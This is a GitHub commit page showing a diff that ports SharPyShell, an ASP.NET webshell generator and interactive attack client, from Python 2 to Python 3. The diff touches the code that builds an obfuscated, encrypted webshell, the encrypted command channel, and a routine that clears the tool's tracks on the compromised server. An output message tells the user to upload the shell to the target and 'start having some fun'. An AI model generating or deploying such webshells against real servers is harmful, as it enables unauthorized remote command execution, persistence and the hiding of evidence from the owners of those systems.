Skip to content

Commit 958c401

Browse files
authored
Merge pull request #18 from antonioCoco/py3
Upgrade to version 1.3.0
2 parents 3f4c530 + c531349 commit 958c401

32 files changed

+599
-400
lines changed

.gitignore

Lines changed: 395 additions & 0 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,12 +17,12 @@ python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepass
1717

1818
## Requirements
1919

20-
Python version >= 2.7
20+
Python version >= 3.6
2121

2222
and
2323

2424
```
25-
pip install -r requirements.txt
25+
pip3 install -r requirements.txt
2626
```
2727

2828
## Description

SharPyShell.py

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!/usr/bin/env python2
1+
#!/usr/bin/env python3
22

33
from core.Generate import Generate
44
from core.SharPyShellPrompt import SharPyShellPrompt
@@ -144,7 +144,7 @@ def create_interact_parser(subparsers):
144144

145145

146146
if __name__ == '__main__':
147-
print config.banner
147+
print (config.banner)
148148
parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,
149149
epilog=example_text_main)
150150
parser.add_argument('--version', action='version', version=config.header)
@@ -153,11 +153,14 @@ def create_interact_parser(subparsers):
153153
create_interact_parser(subparsers)
154154
args = parser.parse_args()
155155

156-
if args.mode == 'generate':
157-
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
158-
generate_obj.generate()
156+
if args.__contains__('mode'):
157+
if args.mode == 'generate':
158+
generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)
159+
generate_obj.generate()
159160

160-
if args.mode == 'interact':
161-
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
162-
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
163-
prompt.cmdloop('\n')
161+
if args.mode == 'interact':
162+
prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,
163+
args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)
164+
prompt.cmdloop('\n')
165+
else:
166+
parser.print_help()

core/ChannelAES.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
from utils.Singleton import Singleton
22
from Crypto.Cipher import AES
3+
from Crypto.Util.Padding import pad
4+
from Crypto.Util.Padding import unpad
35

46

57
class ChannelAES(Singleton):
@@ -8,18 +10,16 @@ class ChannelAES(Singleton):
810
BS = 16
911

1012
def __init__(self, password):
11-
self.hashed_password = password.decode('hex')
13+
self.hashed_password = bytes.fromhex(password)
1214
self.IV = self.hashed_password[0:self.BS]
1315

1416
def encrypt(self, plain_data):
15-
pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)
16-
plain_data_pad = pad(plain_data)
17+
plain_data_pad = pad(plain_data, self.BS)
1718
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
1819
encrypted_data = aes.encrypt(plain_data_pad)
1920
return encrypted_data
2021

2122
def decrypt(self, encrypted_data):
2223
aes = AES.new(self.hashed_password, AES.MODE_CBC, self.IV)
23-
unpad = lambda s: s[:-ord(s[len(s) - 1:])]
2424
decrypted_data = aes.decrypt(encrypted_data)
25-
return unpad(decrypted_data)
25+
return unpad(decrypted_data, self.BS)

core/ChannelXOR.py

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,16 @@
11
from utils.Singleton import Singleton
2-
2+
from itertools import cycle
33

44
class ChannelXOR(Singleton):
55
password = None
66

77
def __init__(self, password):
8-
self.password = password.encode('utf-8')
8+
self.password = password
99

1010
def encrypt(self, plain_data):
11-
key = self.password
12-
from itertools import izip, cycle
13-
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
14-
return bytearray(xored)
11+
key = self.password.encode()
12+
xored = b''.join(bytes([(x ^ y)]) for (x, y) in list(zip(plain_data, cycle(key))))
13+
return xored
1514

1615
def decrypt(self, encrypted_data):
17-
return self.encrypt(encrypted_data)
16+
return self.encrypt(encrypted_data)

core/Environment.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ class GetTempDirectoryException(ModuleException):
77

88
_exception_class = GetTempDirectoryException
99

10-
_runtime_code = ur"""
10+
_runtime_code = r"""
1111
using System;using System.IO;using System.Diagnostics;using System.Text;
1212
public class SharPyShell
1313
{
@@ -45,7 +45,7 @@ class GetEnvDirectoryException(ModuleException):
4545

4646
_exception_class = GetEnvDirectoryException
4747

48-
_runtime_code = ur"""
48+
_runtime_code = r"""
4949
using System;using System.IO;using System.Diagnostics;using System.Text;
5050
using System.Security.AccessControl;using System.Security.Principal;
5151
@@ -101,7 +101,7 @@ class ClearDirectoriesException(ModuleException):
101101

102102
_exception_class = ClearDirectoriesException
103103

104-
_runtime_code = ur"""
104+
_runtime_code = r"""
105105
using System;using System.IO;using System.Diagnostics;using System.Text;
106106
public class SharPyShell
107107
{
@@ -198,7 +198,7 @@ def format_output(text):
198198
excluded_path = ['env_directory', 'working_directory']
199199
modules_path = ['@"' + v + '"' for k, v in env_settings.items() if k not in excluded_path]
200200
modules_path_string_array = '{' + ','.join(modules_path) + '}'
201-
print '\nRemoving tracks....\n'
201+
print ('\nRemoving tracks....\n')
202202
result = self.clear_dir_obj.run([modules_path_string_array, env_directory])
203203
if '{{{ClearDirectoriesException}}}' not in result:
204204
result = format_output(result)

core/Generate.py

Lines changed: 16 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
from core import config
22
from struct import unpack
3+
from itertools import cycle
34
import hashlib
45
import random
5-
6+
import io
7+
import os
68

79
class Generate():
810

@@ -11,11 +13,12 @@ class Generate():
1113
__obfuscator = ''
1214
__endian_type = ''
1315

14-
__templates_path = config.sharpyshell_path+'agent/'
15-
__runtime_compiler_path = __templates_path + 'runtime_compiler/'
16+
__templates_path = config.sharpyshell_path+'agent'+os.sep
17+
__runtime_compiler_path = __templates_path + 'runtime_compiler'+os.sep
1618
__output_path = config.output_path + 'sharpyshell.aspx'
1719

1820
def __init__(self, password, encryption, obfuscator, endian_type, output):
21+
password = password.encode('utf-8')
1922
if encryption == 'aes128':
2023
self.__password = hashlib.md5(password).hexdigest()
2124
else:
@@ -41,30 +44,26 @@ def __get_template_code(self):
4144

4245
def __generate_webshell_code_encrypted_dll(self, template_code):
4346
def xor_file(path, key):
44-
with open(path, 'rb') as file_handle:
47+
with io.open(path, mode='rb') as file_handle:
4548
plain_data = file_handle.read()
46-
from itertools import izip, cycle
47-
xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(plain_data, cycle(key)))
48-
return bytearray(xored)
49-
50-
def generate_byte_file_string(byte_arr):
51-
output = [str(hex(byte)) for byte in byte_arr]
52-
return '{' + ",".join(output) + '}'
49+
xored = []
50+
for (x, y) in list(zip(plain_data, cycle(key))):
51+
xored.append(hex(x ^ ord(y)))
52+
return '{' + ",".join(xored) + '}'
5353

5454
if 'aes' in self.__encryption:
5555
dll_name = 'runtime_compiler_aes.dll'
5656
else:
5757
dll_name = 'runtime_compiler_xor.dll'
5858
runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name
5959
obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password)
60-
obfuscated_dll_string = generate_byte_file_string(obfuscated_dll)
6160
webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password)
62-
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll_string)
61+
webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll)
6362
return webshell_code
6463

6564
def __generate_webshell_code_ulong_compression(self, template_code):
6665
def get_dll_code(dll_code_path):
67-
with open(dll_code_path, 'r') as file_handle:
66+
with open(dll_code_path, 'rb') as file_handle:
6867
dll_code = file_handle.read()
6968
return dll_code
7069

@@ -79,7 +78,7 @@ def get_ulong_arrays(dll_code, divisor, endian_type):
7978
representation = '='
8079
for i in range(0, len(dll_code), 8):
8180
int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0]
82-
ulong_quotients.append(str(int_conversion / divisor))
81+
ulong_quotients.append(str(int_conversion // divisor))
8382
ulong_remainders.append(str(int_conversion % divisor))
8483
ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}'
8584
ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}'
@@ -109,5 +108,5 @@ def generate(self):
109108
webshell_output_path = self.__output_path
110109
with open(webshell_output_path, 'w') as file_handle:
111110
file_handle.write(webshell_code)
112-
print 'SharPyShell webshell written correctly to: ' + webshell_output_path
113-
print '\nUpload it to the target server and let\'s start having some fun :) \n\n'
111+
print ('SharPyShell webshell written correctly to: ' + webshell_output_path)
112+
print ('\nUpload it to the target server and let\'s start having some fun :) \n\n')

core/Module.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ class Module(Singleton):
2020
"""
2121
'''runtime_code must have the class name "SharPyShell" and the main function name "ExecRuntime". The ExecRuntime
2222
function will be the code run on the server and it must return results in byte[] type '''
23-
_runtime_code = ur"""
23+
_runtime_code = r"""
2424
using System;using System.IO;using System.Diagnostics;using System.Text;
2525
public class SharPyShell
2626
{
@@ -56,17 +56,17 @@ def _create_request(self, args):
5656
# End Override this method
5757

5858
def _encrypt_request(self, request_clear):
59-
request_encrypted = self._channel_enc_obj.encrypt(request_clear)
59+
request_encrypted = self._channel_enc_obj.encrypt(request_clear.encode())
6060
request_encrypted_encoded = base64.b64encode(request_encrypted)
61-
return request_encrypted_encoded
61+
return request_encrypted_encoded.decode()
6262

6363
def _post_request(self, request_encrypted_encoded):
6464
response_status_code, response_headers, response_text = \
6565
self._request_object.send_request(request_encrypted_encoded)
6666
if response_status_code != 200:
67-
raise self._exception_class('{{{' + self._exception_class.__name__ + '}}}\n' +
67+
raise self._exception_class('{{{' + str(self._exception_class.__name__) + '}}}\n' +
6868
str(response_headers) + '\n\n' +
69-
response_text)
69+
str(response_text))
7070
return response_text
7171

7272
def _decrypt_response(self, encrypted_response_encoded):
@@ -75,6 +75,7 @@ def _decrypt_response(self, encrypted_response_encoded):
7575
return response_clear
7676

7777
def _parse_response(self, response):
78+
response = response.decode() if isinstance(response, bytes) else response
7879
if '{{{' + self._exception_class.__name__ + '}}}' in response:
7980
raise self._exception_class(str(response))
8081
if '{{{SharPyShellError}}}' in response or '{{{PythonError}}}' in response:

core/Request.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
from utils.Singleton import Singleton
2+
from utils.Singleton import Singleton
23
import ssl
34
import urllib3
45
from urllib3.contrib.socks import SOCKSProxyManager

core/SharPyShellPrompt.py

Lines changed: 25 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
1-
import config
1+
from core import config
22
from cmd import Cmd
33
import os
44
import glob
55
import sys
6+
import importlib
67
import shlex
78
import hashlib
89
import signal
10+
import platform
911
from utils import prettify
1012
from utils.normalize_args import normalize_args
1113
from utils.random_string import random_generator
@@ -28,9 +30,13 @@ class SharPyShellPrompt(Cmd):
2830

2931
def __init__(self, password, channel_enc_mode, default_shell, url, user_agent,
3032
cookies, custom_headers, insecure_ssl, proxy):
31-
reload(sys)
32-
sys.setdefaultencoding('utf8')
33-
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
33+
importlib.reload(sys)
34+
#sys.setdefaultencoding('utf8')
35+
password = password.encode('utf-8')
36+
if platform.system() == 'Windows':
37+
signal.signal(signal.SIGTERM, lambda s, f: self.do_quit())
38+
else:
39+
signal.signal(signal.SIGTSTP, lambda s, f: self.do_quit())
3440
Cmd.__init__(self)
3541
if channel_enc_mode == 'aes128':
3642
self.password = hashlib.md5(password).hexdigest()
@@ -80,7 +86,7 @@ def onecmd(self, line):
8086
return self.emptyline()
8187
if cmd.startswith('#'):
8288
response = self.onecmd_custom(cmd.lstrip('#'), args)
83-
print response
89+
print (response)
8490
return response
8591
if cmd in self.helper_commands:
8692
func = getattr(self, 'do_' + cmd.lstrip('#'))
@@ -113,7 +119,7 @@ def do_cd(self, arg):
113119
"""Change the current working directory."""
114120
working_directory = self.modules_settings['working_directory']
115121
if arg == "" or arg == " " or arg == '.':
116-
print working_directory
122+
print (working_directory)
117123
return
118124
if arg == '..':
119125
arg = working_directory.split('\\')
@@ -127,7 +133,7 @@ def do_cd(self, arg):
127133
elif len(arg) > 0:
128134
arg = '\\'.join(arg)
129135
else:
130-
print "Empty Path."
136+
print ("Empty Path.")
131137
return
132138
else:
133139
if '/' in arg:
@@ -143,25 +149,25 @@ def do_cd(self, arg):
143149
if '{{{SharPyShellError}}}' not in response:
144150
self.modules_settings['working_directory'] = arg
145151
else:
146-
print response
152+
print (response)
147153
return response
148154

149155
def do_help(self, arg):
150156
"""List available commands."""
151157
if arg and arg.lstrip('#') in self.modules_loaded_tree:
152-
print self.modules_loaded[arg.lstrip('#')].complete_help
158+
print (self.modules_loaded[arg.lstrip('#')].complete_help)
153159
else:
154-
print "\n\n" + self.doc_header + "\n"
160+
print ("\n\n" + self.doc_header + "\n")
155161
data = [['\nCommands\n', '\nDesc\n']]
156162
for module_name in sorted(self.modules_loaded_tree):
157163
data.append(['#%s' % module_name, self.modules_loaded[module_name].short_help])
158-
print prettify.tablify(data, table_border=False)
164+
print (prettify.tablify(data, table_border=False))
159165
print
160-
print "\n" + "SharPyShell Helper Commands:" + "\n"
166+
print ("\n" + "SharPyShell Helper Commands:" + "\n")
161167
data = [['\nCommands\n', '\nDesc\n']]
162168
for module_name in sorted(self.helper_commands):
163169
data.append(['%s' % module_name, getattr(self, 'do_'+module_name).__doc__])
164-
print prettify.tablify(data, table_border=False)
170+
print (prettify.tablify(data, table_border=False))
165171
print
166172

167173
def complete_help(self, text, line, start_index, end_index):
@@ -217,10 +223,10 @@ def default(self, line):
217223
return
218224
# Clean trailing newline if existent to prettify output
219225
result = result[:-1] if (
220-
isinstance(result, basestring) and
226+
isinstance(result, str) and
221227
result.endswith('\n')
222228
) else result
223-
print result
229+
print (result)
224230

225231
def cmdloop(self, intro=None):
226232
"""Repeatedly issue a prompt, accept input, parse an initial prefix
@@ -251,7 +257,7 @@ def cmdloop(self, intro=None):
251257
else:
252258
if self.use_rawinput:
253259
try:
254-
line = raw_input(self.prompt)
260+
line = input(self.prompt)
255261
except EOFError:
256262
line = 'EOF'
257263
else:
@@ -279,10 +285,10 @@ def cmdloop(self, intro=None):
279285
def do_quit(self, args=[]):
280286
"""Quit the program."""
281287
if self.online:
282-
print "\n\nQuitting...\n"
283-
print self.env_obj.clear_env(self.modules_settings)
288+
print ("\n\nQuitting...\n")
289+
print (self.env_obj.clear_env(self.modules_settings))
284290
else:
285-
print args[0] + "\n\n\nTarget Offline...\n"
291+
print (args[0] + "\n\n\nTarget Offline...\n")
286292
raise SystemExit
287293

288294
def do_exit(self, args=[]):

0 commit comments

Comments
 (0)